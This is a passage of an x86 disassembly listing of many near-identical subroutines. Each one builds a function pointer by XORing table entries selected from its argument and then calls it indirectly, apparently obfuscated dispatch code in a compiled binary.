= dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0EDh mov [ebp+var_2C], 36h mov [ebp+var_28], 0B6h mov [ebp+var_24], 43h mov [ebp+var_20], 2 mov [ebp+var_1C], 0C8h mov [ebp+var_18], 0A2h mov [ebp+var_14], 49h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AEE87 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AEE87: ; CODE XREF: sub_4AEDF6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AEDF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AEEF3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB30o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E9h mov [ebp+var_2C], 0DEh mov [ebp+var_28], 0C0h mov [ebp+var_24], 3Bh mov [ebp+var_20], 44h mov [ebp+var_1C], 24h mov [ebp+var_18], 0F1h mov [ebp+var_14], 87h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AEF84 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AEF84: ; CODE XREF: sub_4AEEF3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AEEF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AEFF0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB34o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0CEh mov [ebp+var_2C], 0Bh mov [ebp+var_28], 88h mov [ebp+var_24], 63h mov [ebp+var_20], 7 mov [ebp+var_1C], 5Bh mov [ebp+var_18], 4Ah mov [ebp+var_14], 0E3h mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF081 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF081: ; CODE XREF: sub_4AEFF0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AEFF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF0ED proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB38o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0AAh mov [ebp+var_2C], 56h mov [ebp+var_28], 55h mov [ebp+var_24], 0ACh mov [ebp+var_20], 0D0h mov [ebp+var_1C], 62h mov [ebp+var_18], 1Dh mov [ebp+var_14], 51h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF17E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF17E: ; CODE XREF: sub_4AF0ED+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF0ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF1EA proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB3Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Fh mov [ebp+var_2C], 0E2h mov [ebp+var_28], 0D6h mov [ebp+var_24], 32h mov [ebp+var_20], 16h mov [ebp+var_1C], 73h mov [ebp+var_18], 4Ah mov [ebp+var_14], 1Ch mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF27B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF27B: ; CODE XREF: sub_4AF1EA+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF1EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF2E7 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB40o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0FBh mov [ebp+var_2C], 0E7h mov [ebp+var_28], 33h mov [ebp+var_24], 22h mov [ebp+var_20], 0B3h mov [ebp+var_1C], 20h mov [ebp+var_18], 7Eh mov [ebp+var_14], 0E5h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF378 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF378: ; CODE XREF: sub_4AF2E7+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF2E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF3E4 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB44o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Ah mov [ebp+var_2C], 7Ch mov [ebp+var_28], 0CFh mov [ebp+var_24], 30h mov [ebp+var_20], 34h mov [ebp+var_1C], 4Eh mov [ebp+var_18], 33h mov [ebp+var_14], 9Bh mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF475 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF475: ; CODE XREF: sub_4AF3E4+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF3E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF4E1 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB48o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Dh mov [ebp+var_2C], 0ACh mov [ebp+var_28], 37h mov [ebp+var_24], 95h mov [ebp+var_20], 0E8h mov [ebp+var_1C], 0B3h mov [ebp+var_18], 3Fh mov [ebp+var_14], 40h mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF572 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF572: ; CODE XREF: sub_4AF4E1+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF4E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF5DE proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB4Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 5Dh mov [ebp+var_2C], 61h mov [ebp+var_28], 23h mov [ebp+var_24], 37h mov [ebp+var_20], 0E8h mov [ebp+var_1C], 3Bh mov [ebp+var_18], 0ACh mov [ebp+var_14], 65h mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF66F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF66F: ; CODE XREF: sub_4AF5DE+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF5DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF6DB proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB50o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 11h mov [ebp+var_2C], 0E7h mov [ebp+var_28], 29h mov [ebp+var_24], 40h mov [ebp+var_20], 5Fh mov [ebp+var_1C], 0B9h mov [ebp+var_18], 0D2h mov [ebp+var_14], 9Ch mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF76C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF76C: ; CODE XREF: sub_4AF6DB+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF6DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF7D8 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB54o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Ch mov [ebp+var_2C], 64h mov [ebp+var_28], 1Ch mov [ebp+var_24], 9Fh mov [ebp+var_20], 73h mov [ebp+var_1C], 4Eh mov [ebp+var_18], 0E5h mov [ebp+var_14], 2Bh mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF869 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF869: ; CODE XREF: sub_4AF7D8+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF7D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF8D5 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB58o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Dh mov [ebp+var_2C], 0F8h mov [ebp+var_28], 0DAh mov [ebp+var_24], 0CCh mov [ebp+var_20], 6Ah mov [ebp+var_1C], 16h mov [ebp+var_18], 74h mov [ebp+var_14], 0CAh mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AF963 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AF963: ; CODE XREF: sub_4AF8D5+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AF8D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AF9CF proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB5Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Bh mov [ebp+var_2C], 7Dh mov [ebp+var_28], 94h mov [ebp+var_24], 0C3h mov [ebp+var_20], 71h mov [ebp+var_1C], 4Bh mov [ebp+var_18], 25h mov [ebp+var_14], 43h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AFA60 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AFA60: ; CODE XREF: sub_4AF9CF+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] 